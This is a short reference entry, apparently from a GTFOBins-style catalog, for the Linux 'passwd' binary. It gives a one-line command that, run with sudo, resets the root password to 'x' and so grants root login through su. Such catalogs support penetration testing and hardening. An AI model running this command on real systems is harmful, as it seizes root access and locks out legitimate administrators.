CatalogGTFOBins

GTFO · Tool

passwd

1 techniqueLinuxGTFOBinsGPL-3.0

privilege-escalation

Privilege EscalationLinux

This changes the root password to `x`, so it's now possible to log in using, for example, `su`.

echo -e 'x\nx' | passwd
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
privilege-escalation
MITRE
T1548